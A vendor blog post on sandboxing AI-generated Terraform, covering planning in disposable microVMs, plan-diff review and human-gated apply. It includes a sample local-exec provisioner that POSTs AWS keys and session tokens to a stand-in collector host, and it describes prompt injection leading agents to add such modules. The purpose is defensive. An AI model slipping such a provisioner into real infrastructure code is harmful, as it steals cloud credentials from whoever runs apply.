Sandboxing AI-Generated Terraform and Infrastructure-as-Code
There is a specific kind of vertigo that hits the first time you let an AI agent write Terraform and run it. Everything else an agent does — write code, run tests, open a PR — is reversible. `terraform apply` is not. It is `git push --force` for your entire company: one confidently-wrong plan and the prod database is `destroyed`, the security group is wide open to the internet, and the IAM role that was scoped to one bucket now trusts `*`. Infrastructure-as-code is the one place where a hallucination doesn't produce a bad suggestion you can ignore — it produces a state transition in your real cloud account. This post is about the discipline that makes that safe: run `plan` inside a disposable microVM with scoped, short-lived (or zero) credentials, gate `apply` behind a human who read the diff, and control what the sandbox can reach on the network. Plan in a sandbox, review the diff, then apply. In that order, always.
Why AI-generated IaC is uniquely dangerous
Most "run untrusted code" threat models worry about the code doing something bad to your host. IaC is scarier because the code is designed to do something to systems that are not your host — your cloud account, your DNS, your Kubernetes cluster, your production data. And the tooling that runs it is a general-purpose code execution engine wearing a declarative costume. Three properties make it a category of its own:
- IaC tools execute arbitrary code, not just declarations. A Terraform provider is a plugin binary Terraform downloads and runs. A `local-exec` provisioner runs a shell command on the machine doing the apply. Pulumi programs are literally TypeScript/Python/Go — arbitrary code by definition. Ansible runs modules and `command`/`shell` tasks. "It's just config" is the most expensive misconception in this space.
- It reads credentials from the ambient environment. Terraform, the AWS/GCP/Azure CLIs, and their providers all pick up credentials from environment variables, `~/.aws`, instance metadata, or a mounted service-account key — automatically, silently, by design. Any code that runs in that environment inherits the same reach. A generated `local-exec` doesn't need to be handed a key; it can just read `$AWS_SECRET_ACCESS_KEY`.
- `apply` mutates real, often irreversible state. `plan` is a dry run; `apply` is the live grenade. A resource with `prevent_destroy` off, a subtly wrong `count`, a renamed resource that Terraform reads as delete-then-create — any of these turns "I asked it to add a tag" into "it recreated the RDS instance." Prompt injection makes it worse: the agent read a repo README, an issue comment, or a Terraform-registry description that told it to add an innocuous-looking module, and that module has a `local-exec` that curls your state file somewhere.
The local-exec problem, made concrete
People underestimate this until they see it. Here is a Terraform snippet that looks like it manages a null resource for a harmless post-provision hook. What it actually does is exfiltrate whatever credentials are in the environment and phone home — and it runs the instant you type `terraform apply`, on the machine doing the apply, with that machine's full ambient access.
# looks like a benign "post-provision notification" hook.
# a prompt-injected agent could add exactly this and you'd skim past it.
resource "null_resource" "post_provision" {
provisioner "local-exec" {
# runs a SHELL COMMAND on the apply machine. not "just config."
# it reads the ambient cloud creds and POSTs them out.
command = <<-EOT
curl -s -X POST https://collector.example.dev/i \
-d "ak=$AWS_ACCESS_KEY_ID" \
-d "sk=$AWS_SECRET_ACCESS_KEY" \
-d "tok=$AWS_SESSION_TOKEN"
EOT
}
}
# and the quiet one: a rename Terraform reads as destroy-then-create.
# "rename for clarity" in the diff == delete your prod database.
resource "aws_db_instance" "main" {
identifier = "prod-primary" # was "prod" last apply -> replacement
# ... prevent_destroy not set, so terraform will happily recreate it
}Note what defeats a pure code-review defense here. The `local-exec` might not be in the file the agent edited — it can live in a module pulled from the registry or a Git source, three levels deep, and `terraform init` will happily download and wire it up. And the destroy-then-create is invisible in the HCL; it only shows up in the plan diff as `-/+ destroy and then create replacement`. Which is exactly why the plan diff is the artifact you review, and exactly why the plan has to be generated somewhere that holds nothing worth stealing.
The pattern: plan-in-sandbox, review the diff, then apply
The whole strategy is a split. `plan` is where the agent does its untrusted, iterative work — writing HCL, running `terraform init` (which downloads and executes provider and module code), and producing a diff. `apply` is a privileged, gated, human-in-the-loop action that happens only after someone has read that diff. You never let the same context do both unsupervised.
- The agent writes IaC and runs `terraform init && terraform plan -out=plan.tfplan` inside a fresh, disposable microVM. This VM holds NO real cloud credentials — or at most a read-only, short-lived, tightly-scoped token — and its egress is restricted to the one cloud API endpoint plan actually needs (or nothing at all, if you plan against a local/fake backend).
- You read back the plan — both the human-readable diff and the machine-readable `terraform show -json plan.tfplan` — outside the sandbox. This is the review artifact. Look for replacements (`-/+`), deletes (`-`), any `local-exec`/`remote-exec`/`null_resource` provisioners, and modules from sources you didn't vet.
- A human (or a policy engine like OPA/Conftest, or both) approves the specific plan. Not the agent, not the PR text — the actual serialized plan file.
- `apply` runs the approved `plan.tfplan` — ideally in a separate, more-privileged, still-isolated environment, with credentials scoped to exactly the resources that plan touches, and only for the seconds the apply takes. Terraform applies a saved plan file verbatim, so what you reviewed is what runs; there is no re-planning window for something to sneak in.
Why a disposable microVM, not a CI runner with god creds
The default place teams run IaC is a CI runner — and CI runners are, almost by tradition, handed broad, long-lived cloud credentials so they can deploy anything. That's an acceptable risk when a human wrote the pipeline and the code was reviewed before it merged. It is a terrible fit for an agent generating and running IaC on the fly, because the credential is ambient and the runner is shared and long-lived. Here is the comparison that matters:
- Credential blast radius — a CI runner typically has broad deploy creds sitting in the environment for the whole job; any generated `local-exec` or provider config inherits them. A per-task microVM holds only the scoped, short-lived token you chose to inject (or none, for plan), so there's simply less to steal and it expires in minutes.
- Isolation boundary — a shared CI runner (often a container) shares the host kernel with other jobs and the orchestrator; an escape or a poisoned provider binary reaches sideways. A microVM boots its own guest kernel under hardware virtualization (KVM), so the boundary an attacker has to break is the hypervisor, not the syscall surface.
- Egress — a stock runner usually has open internet, so exfiltration is a single `curl`. A microVM gets a per-sandbox network namespace where you default-deny egress and allowlist only the cloud API endpoint plan needs — the exfil `curl` in that `local-exec` just fails.
- Statefulness and reuse — CI runners are frequently reused across jobs, so a poisoned `~/.terraform.d`, a cached malicious provider, or a leftover state file can bleed into the next run. A microVM is created for one task and destroyed after; nothing persists to the next agent's plan.
- Cost of "one per task" — the historical reason nobody gave every plan its own VM was boot time. That objection is gone: a microVM restores from a baked snapshot on demand at a p50 of 179ms (p99 ~203ms), with no warm pool of idle VMs. A fresh, credential-free environment per plan is now the cheap default, not a luxury.
None of this means CI is wrong for the `apply`. It means the untrusted, agent-driven `plan` phase should not run with the same ambient god-mode credentials your trusted, reviewed pipeline uses. Separate the phases and separate their blast radii.
Running terraform plan in a PandaStack sandbox
Here is the plan phase end to end with the Python SDK. Create a disposable microVM, write the agent-generated HCL into it, run `init` + `plan` with a per-command timeout, and read the plan back out as an artifact you review outside the sandbox. Critically: this VM gets a read-only, short-lived token (or, better, no cloud creds and a fake/local backend), and its egress is restricted to the cloud API.
from pandastack import Sandbox
# HCL the agent generated this turn. Treat it as attacker-controlled:
# it may include a local-exec or a module from an unvetted source.
main_tf = '''
terraform {
required_providers {
aws = { source = "hashicorp/aws", version = "~> 5.0" }
}
}
provider "aws" { region = "us-east-1" }
resource "aws_s3_bucket" "assets" {
bucket = "acme-assets-prod"
}
'''
# One disposable microVM for this plan (~179ms p50 to create).
# Give it a READ-ONLY, SHORT-LIVED token (STS AssumeRole, 15-min TTL,
# describe/get only) -- or NO creds and a local backend for a pure dry run.
with Sandbox.create(
template="base", # terraform + cloud CLIs baked in your template
ttl_seconds=600, # reaped after 10 min even if the loop hangs
env={
# scoped, expiring creds -- NEVER your CI deploy role
"AWS_ACCESS_KEY_ID": readonly_key,
"AWS_SECRET_ACCESS_KEY": readonly_secret,
"AWS_SESSION_TOKEN": readonly_session_token,
},
metadata={"phase": "plan", "app": "acme-infra"},
) as sbx:
sbx.filesystem.write("/workspace/main.tf", main_tf)
# init downloads + EXECUTES provider/module code. Contained here.
init = sbx.exec(
"cd /workspace && terraform init -input=false -no-color",
timeout_seconds=180,
)
assert init.exit_code == 0, init.stderr
# -out writes a saved plan file: the exact thing apply will consume.
plan = sbx.exec(
"cd /workspace && terraform plan -out=plan.tfplan -input=false -no-color",
timeout_seconds=180,
)
# human-readable diff for a person, machine-readable JSON for policy checks.
diff = sbx.exec(
"cd /workspace && terraform show -no-color plan.tfplan",
timeout_seconds=60,
).stdout
plan_json = sbx.exec(
"cd /workspace && terraform show -json plan.tfplan",
timeout_seconds=60,
).stdout
# pull the artifacts OUT to review them where the agent can't touch them.
plan_bytes = sbx.filesystem.read("/workspace/plan.tfplan")
print("plan exit:", plan.exit_code)
print(diff)
# -> now: scan plan_json for replacements/deletes/provisioners, show `diff`
# to a human, and only THEN run apply against plan_bytes elsewhere.The SDK reads `PANDASTACK_API_KEY` (the `pds_`-prefixed key) from the environment and talks to `https://api.pandastack.ai` by default; the same flow exists in the TypeScript SDK and CLI. The important lines are the ones about credentials and egress, not the Terraform commands: the sandbox got a read-only token that expires in minutes, and if you'd rather it hold nothing at all, drop the `env` block and point Terraform at a local backend or LocalStack so `plan` runs entirely offline against a fake cloud.
What to actually look for in the plan
The plan file is the review artifact — treat it the way you'd treat a diff before merging, but with a security lens because this diff mutates production. Parse the JSON (`terraform show -json`) so a policy engine can gate it deterministically, and surface the scary parts to a human. The high-signal things to flag:
- Replacements and deletes — any `resource_changes[*].change.actions` containing `delete`, or the `-/+` (destroy-then-create) marker, especially on stateful resources (databases, volumes, buckets with data). A rename in the HCL shows up here as a replacement; this is where "add a tag" becomes "recreate the DB."
- Provisioners and null resources — grep the plan and config for `local-exec`, `remote-exec`, `null_resource`, and Pulumi `Command`/`local.Command`. These are shell execution smuggled into declarative config and should require explicit human sign-off every time.
- Unexpected modules and providers — modules sourced from Git URLs or registry namespaces you didn't approve, and provider versions that drifted. `terraform init` already executed their code in the sandbox; make sure it doesn't run again unsupervised at apply.
- IAM and network widening — policies with `*` actions/resources, security groups opening `0.0.0.0/0`, public-access blocks being removed. A policy engine (OPA/Conftest/Sentinel) catches these mechanically; run it against the plan JSON as a gate.
- Scope mismatch — resources being touched that the task never mentioned. If the ask was "add an S3 bucket" and the plan also modifies a route table, that's your signal to stop and read very carefully.
Gating apply behind human review
Apply is the privileged half. Two rules make it safe. First, apply the saved plan file, not a fresh plan — `terraform apply plan.tfplan` runs exactly what was reviewed and approved, with no re-plan window for a changed input to alter the outcome. Second, the credentials for apply are scoped to the resources in that plan and live only for the apply. You still run it in an isolated environment (a poisoned provider binary is dangerous even at apply time), but this environment is the one place the real write-capable, short-lived credential appears — after a human said yes.
# ---- OUTSIDE the sandbox: the gate ----
import json
changes = json.loads(plan_json)["resource_changes"]
destroys = [c["address"] for c in changes if "delete" in c["change"]["actions"]]
if destroys:
# do NOT auto-apply. escalate to a human with the list.
raise SystemExit(f"plan destroys {destroys!r} -- needs human sign-off")
approved = human_review(diff) # your review UI / Slack approval / OPA pass
if not approved:
raise SystemExit("plan rejected")
# ---- apply the EXACT reviewed plan, in a fresh isolated VM ----
# creds here are write-capable BUT scoped to this plan's resources and
# short-lived (mint them AFTER approval, e.g. STS AssumeRole 15-min TTL).
with Sandbox.create(
template="base",
ttl_seconds=900,
env={
"AWS_ACCESS_KEY_ID": apply_key, # scoped, just-minted
"AWS_SECRET_ACCESS_KEY": apply_secret,
"AWS_SESSION_TOKEN": apply_session_token,
},
metadata={"phase": "apply", "app": "acme-infra"},
) as sbx:
sbx.filesystem.write("/workspace/plan.tfplan", plan_bytes)
sbx.exec("cd /workspace && terraform init -input=false -no-color",
timeout_seconds=180)
# applying a saved plan == running exactly what was reviewed.
res = sbx.exec(
"cd /workspace && terraform apply -input=false -no-color plan.tfplan",
timeout_seconds=900,
)
print("apply exit:", res.exit_code)
print(res.stdout[-2000:])
# VM destroyed; the write-capable token expires minutes later regardless.This is the whole discipline in code: the destroy check and the human gate sit between two isolated VMs, the reviewed plan file is the only thing that crosses from plan to apply, and the powerful credential exists for the shortest possible window in the most contained possible place. The agent never holds a write-capable cloud key, and it never gets to apply something a human didn't see.
Isolating state and controlling egress
Two more things separate a demo from something you'd trust with prod. The first is state. Terraform state is a secret-bearing file — it can contain generated passwords, private keys, and the full shape of your infrastructure. Never hand the plan sandbox write access to your real remote state backend. For a pure review dry-run, plan against an empty or copied-read-only state so a malicious plan can't corrupt or poison the real one; give write access to state only in the gated apply phase, scoped to the one state object involved.
The second is egress. A perfectly isolated VM that still has open internet is one `curl` away from being an exfiltration tool — and IaC runs, which pull providers and reach cloud APIs, are a tempting place to hide that. Because each PandaStack sandbox gets its own network namespace out of a pool of 16,384 pre-allocated /30 subnets per agent, egress is a property of the environment, not a hope about the HCL. Default-deny outbound, then allowlist only what `plan`/`apply` genuinely need — the provider registry and the specific cloud API endpoints — and block the cloud instance-metadata endpoint (169.254.169.254) so a generated provisioner can't harvest a role credential through it. The same principles apply verbatim to Pulumi (arbitrary code, same ambient creds) and Ansible (`command`/`shell` modules, SSH out to hosts); the tool changes, the containment strategy doesn't.
Put it together and the worst case for an agent writing infrastructure looks like a failed `curl` in a destroyed VM and a plan that got rejected at the gate — not a rotated credential set, a recreated database, and an incident review. The agent gets to be as creative and as wrong as it wants during `plan`, because `plan` holds nothing worth stealing and can't reach anything worth breaking. The blast radius of a bad idea is a throwaway microVM. And the one action that actually changes your cloud — `apply` — happens only after a human read the exact diff it will produce. For the broader isolation model behind this, /blog/ai-agent-isolation-filesystem-network goes a layer deeper on network and filesystem containment, and /blog/controlling-network-egress-untrusted-code covers the egress allowlist in detail.
Frequently asked questions
Why is running AI-generated Terraform more dangerous than other AI-generated code?
Because IaC tooling isn't 'just config' — it executes arbitrary code and mutates real infrastructure. `terraform init` downloads and runs provider and module binaries, a `local-exec` provisioner runs shell on the apply machine, and Pulumi programs are literally arbitrary TypeScript/Python/Go. All of it inherits cloud credentials from the ambient environment automatically. And `terraform apply` makes irreversible changes to production — a hallucinated or prompt-injected plan can delete a database or exfiltrate your keys the instant it runs. Most AI code is reversible; an apply is not.
How do I safely let an agent run terraform plan without giving it my cloud keys?
Run `plan` inside a disposable microVM that holds either no cloud credentials at all — pointing Terraform at a local backend or LocalStack for a pure offline dry run — or at most a read-only, short-lived, tightly-scoped token (e.g. an STS AssumeRole session with a 15-minute TTL and describe/get-only permissions). Restrict the sandbox's network egress to just the provider registry and the cloud API endpoint plan needs. The agent iterates on HCL and produces a plan diff, but the environment holds nothing worth stealing and can't reach anything worth breaking.
Should an AI agent be allowed to run terraform apply automatically?
No. `apply` is a privileged, often irreversible mutation of real infrastructure and must be gated behind a human (or a policy engine like OPA/Conftest, ideally both) who reviewed the exact plan. The safe pattern is: the agent runs `terraform plan -out=plan.tfplan` in a credential-free sandbox, you review the saved plan file — checking for replacements, deletes, and `local-exec` provisioners — and only after approval does `apply` run that exact saved plan file in a separate, isolated, more-privileged environment with credentials scoped to that plan and expiring within minutes.
Why not just run Terraform on a CI runner like we always have?
A CI runner is fine for reviewed, human-written pipelines, but it's a poor fit for agent-generated IaC because it usually carries broad, long-lived deploy credentials in the environment, shares a kernel with other jobs, gets reused across runs, and has open internet egress. Any generated `local-exec` inherits those god-mode creds and can exfiltrate them with a single curl. A per-task microVM holds only the scoped, short-lived token you chose (or none), boots its own kernel under hardware virtualization, defaults egress to deny, and is destroyed after one task — far less blast radius. You can still use CI for the gated apply; just don't let the untrusted plan phase run with the same ambient credentials.
How does a saved plan file make apply safer?
When you run `terraform plan -out=plan.tfplan` and later `terraform apply plan.tfplan`, Terraform applies exactly what was in that saved plan — there's no re-planning step where a changed input, a new commit, or a swapped module could alter what actually runs. So the diff a human reviewed is byte-for-byte what gets applied. Combined with a machine-readable `terraform show -json plan.tfplan` that a policy engine can gate on (flagging deletes, replacements, provisioners, or IAM widening), the saved plan is the single trusted artifact that crosses from the untrusted plan sandbox to the privileged apply.
49ms p50 cold start. Fork, snapshot, and scale to zero.